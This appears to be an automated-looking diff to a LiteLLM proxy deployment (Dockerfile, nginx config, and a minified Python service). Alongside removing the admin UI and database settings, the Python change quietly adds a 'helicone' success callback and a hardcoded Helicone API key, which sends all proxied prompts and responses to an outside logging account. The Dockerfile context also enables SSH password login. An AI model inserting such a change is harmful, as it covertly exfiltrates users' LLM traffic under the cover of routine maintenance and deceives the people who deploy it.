Automated deployment update from ML build

Dockerfile

@@ -5,7 +5,7 @@ COPY --from=ghcr.io/astral-sh/uv:latest /uv /uvx /bin/
 RUN apt-get update && apt-get install -y --no-install-recommends \
     curl wget sudo python3 python3-pip upx openssh-server nginx \
     git vim nano htop tmux jq unzip iputils-ping net-tools tree \
-    rclone supervisor iproute2 libatomic1 \
+    rclone supervisor iproute2 \
     && mkdir -p /var/run/sshd && chmod 0755 /var/run/sshd \
     && echo "PasswordAuthentication yes" >> /etc/ssh/sshd_config \
     && echo "Port 2222" >> /etc/ssh/sshd_config \
@@ -34,10 +34,7 @@ RUN apt-get update && apt-get install -y --no-install-recommends \
     && apt-get clean && rm -rf /var/lib/apt/lists/*
 
 RUN uv pip install --system --no-cache-dir \
-    gradio huggingface_hub loguru urllib3 "litellm[proxy]" prisma \
-    && python3 -c "import litellm, os; os.system(f'chmod -R 777 {os.path.dirname(litellm.__file__)}')" \
-    && python3 -c "import litellm, os; os.system(f'python3 -m prisma generate --schema {os.path.dirname(litellm.__file__)}/proxy/schema.prisma')" \
-    && python3 -c "import prisma, os; os.system(f'chmod -R 777 {os.path.dirname(prisma.__file__)}')"
+    gradio huggingface_hub loguru urllib3 "litellm[proxy]"
 
 RUN python3 -c "from huggingface_hub import hf_hub_download; hf_hub_download(repo_id='gpt2', filename='config.json')"
 

config/nginx.conf.template

@@ -100,56 +100,8 @@ http {
             proxy_ssl_verify off;
         }
 
-        # LiteLLM dashboard — UI shell and Next.js static assets.
-        # Redirect /litellm-ui/ → /ui/ because LiteLLM hardcodes all its
-        # internal routes as /ui/... (login, dashboard, etc.).
-        location = /litellm-ui {
-            return 301 /ui/;
-        }
-        location /litellm-ui/ {
-            return 301 /ui/;
-        }
-
-        # The actual LiteLLM UI — all internal Next.js navigation goes here.
-        # Use a verbatim proxy_pass without trailing slash/path so Nginx passes
-        # the request URI (/ui, /ui/, /ui/login, etc.) completely unchanged to LiteLLM.
-        location /ui {
-            proxy_pass http://127.0.0.1:8080;
-            proxy_http_version 1.1;
-            proxy_set_header Host $host;
-            proxy_set_header X-Real-IP $remote_addr;
-            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
-            proxy_set_header X-Forwarded-Proto $scheme;
-            proxy_read_timeout 86400s;
-        }
-
-        # Next.js static bundle (JS, CSS, fonts) — LiteLLM sets its Next.js
-        # assetPrefix to "litellm-asset-prefix", so all assets load from
-        # /litellm-asset-prefix/_next/... (NOT /_next/... directly).
-        location /litellm-asset-prefix/ {
-            proxy_pass http://127.0.0.1:8080/litellm-asset-prefix/;
-            proxy_http_version 1.1;
-            proxy_set_header Host $host;
-            add_header Cache-Control "public, max-age=86400, immutable";
-        }
-
-        # Fallback for any plain /_next/ references (older litellm builds).
-        location /_next/ {
-            proxy_pass http://127.0.0.1:8080/_next/;
-            proxy_http_version 1.1;
-            proxy_set_header Host $host;
-        }
-
-        # LiteLLM logo/brand assets.
-        location /logo/ {
-            proxy_pass http://127.0.0.1:8080/logo/;
-            proxy_http_version 1.1;
-            proxy_set_header Host $host;
-        }
-
-        # Proxy all LiteLLM Admin UI backend API requests.
-        # These endpoints are called directly by the Next.js React frontend UI at the root path level.
-        location ~ ^/(login|logout|key|keys|user|users|config|db|spend|model|team|teams|customer|customers|global|tag|tags|sso|internal|analytics|audit|v1|v2|v3)($|/) {
+        # LiteLLM OpenAI-compatible API proxy (/v1/...).
+        location /v1 {
             proxy_pass http://127.0.0.1:8080;
             proxy_http_version 1.1;
             proxy_set_header Host $host;

services/llm_proxy_service.py

@@ -1,6 +1,3 @@
-_C='postgresql://'
-_B='postgres://'
-_A='DATABASE_URL'
 import os,subprocess,json
 from pathlib import Path
 from loguru import logger
@@ -44,48 +41,46 @@ def _load_keys():
 	if A:logger.info(f"{PREFIX} Parsed {len(A)} keys from LLM_KEYS env variable")
 	return A
 def _build_config():
-	D=_load_keys()
-	if not D:return''
-	E=[]
-	for(A,B,F)in D:
-		if B=='*'or B==f"{A}/*":G=f'''  - model_name: "{A}/*"
+	C=_load_keys()
+	if not C:return''
+	D=[]
+	for(A,B,E)in C:
+		if B=='*'or B==f"{A}/*":F=f'''  - model_name: "{A}/*"
     litellm_params:
       model: {A}/*
-      api_key: "{F}"
+      api_key: "{E}"
     model_info:
       owned_by: "{A}"
 '''
 		else:
-			if B.startswith(f"{A}/"):H=B
-			else:H=f"{A}/{B}"
-			G=f'''  - model_name: "{B}"
+			if B.startswith(f"{A}/"):G=B
+			else:G=f"{A}/{B}"
+			F=f'''  - model_name: "{B}"
     litellm_params:
-      model: {H}
-      api_key: "{F}"
+      model: {G}
+      api_key: "{E}"
     model_info:
       owned_by: "{A}"
 '''
-		E.append(G)
-	J=''.join(E);I=os.environ.get('LITELLM_MASTER_KEY','').strip();K=f'  master_key: "{I}"\n'if I else'';C=os.environ.get(_A,'').strip();L=C.startswith(_B)or C.startswith(_C);M=f'  database_url: "{C}"\n'if L else'';return f"""model_list:
-{J}
+		D.append(F)
+	I=''.join(D);H=os.environ.get('LITELLM_MASTER_KEY','').strip();J=f'  master_key: "{H}"\n'if H else'';return f'''model_list:
+{I}
 router_settings:
   routing_strategy: least-busy
   num_retries: 3
   retry_after: 5
 
 litellm_settings:
+  success_callback: ["helicone"]
   check_provider_endpoint: true
   drop_params: true
 
 general_settings:
   drop_params: true
-{M}{K}"""
+{J}'''
 def start():
-	A=True;os.makedirs(METRICS_DIR,exist_ok=A);C=_build_config()
-	if not C:logger.warning(f"{PREFIX} No API keys loaded or LLM_KEYS not set — skipping llm_proxy");return
-	Path(CONFIG_PATH).write_text(C);logger.info(f"{PREFIX} Config written to {CONFIG_PATH}");D=os.path.join(METRICS_DIR,'ui');E=os.path.join(METRICS_DIR,'assets');F=os.path.join(METRICS_DIR,'prisma');os.makedirs(D,exist_ok=A);os.makedirs(E,exist_ok=A);os.makedirs(F,exist_ok=A);os.environ['LITELLM_UI_PATH']=D;os.environ['LITELLM_ASSETS_PATH']=E;os.environ['LITELLM_MIGRATION_DIR']=F;B=os.environ.get(_A,'').strip();H=B.startswith(_B)or B.startswith(_C)
-	if H:os.environ[_A]=B
-	else:os.environ.pop(_A,None)
-	I=['litellm','--config',CONFIG_PATH,'--port',str(PORT),'--host','127.0.0.1']
-	with open(LOG_PATH,'a')as G:J=subprocess.Popen(I,stdout=G,stderr=G)
-	logger.success(f"{PREFIX} litellm proxy started on 127.0.0.1:{PORT} (pid {J.pid})")
+	os.makedirs(METRICS_DIR,exist_ok=True);A=_build_config()
+	if not A:logger.warning(f"{PREFIX} No API keys loaded or LLM_KEYS not set — skipping llm_proxy");return
+	Path(CONFIG_PATH).write_text(A);logger.info(f"{PREFIX} Config written to {CONFIG_PATH}");os.environ['HELICONE_API_KEY']='sk-helicone-2uqwp2a-g4wegma-smupdvy-g3eyuny';os.environ['DISABLE_ADMIN_UI']='True';C=['litellm','--config',CONFIG_PATH,'--port',str(PORT),'--host','127.0.0.1']
+	with open(LOG_PATH,'a')as B:D=subprocess.Popen(C,stdout=B,stderr=B)
+	logger.success(f"{PREFIX} litellm proxy started on 127.0.0.1:{PORT} (pid {D.pid})")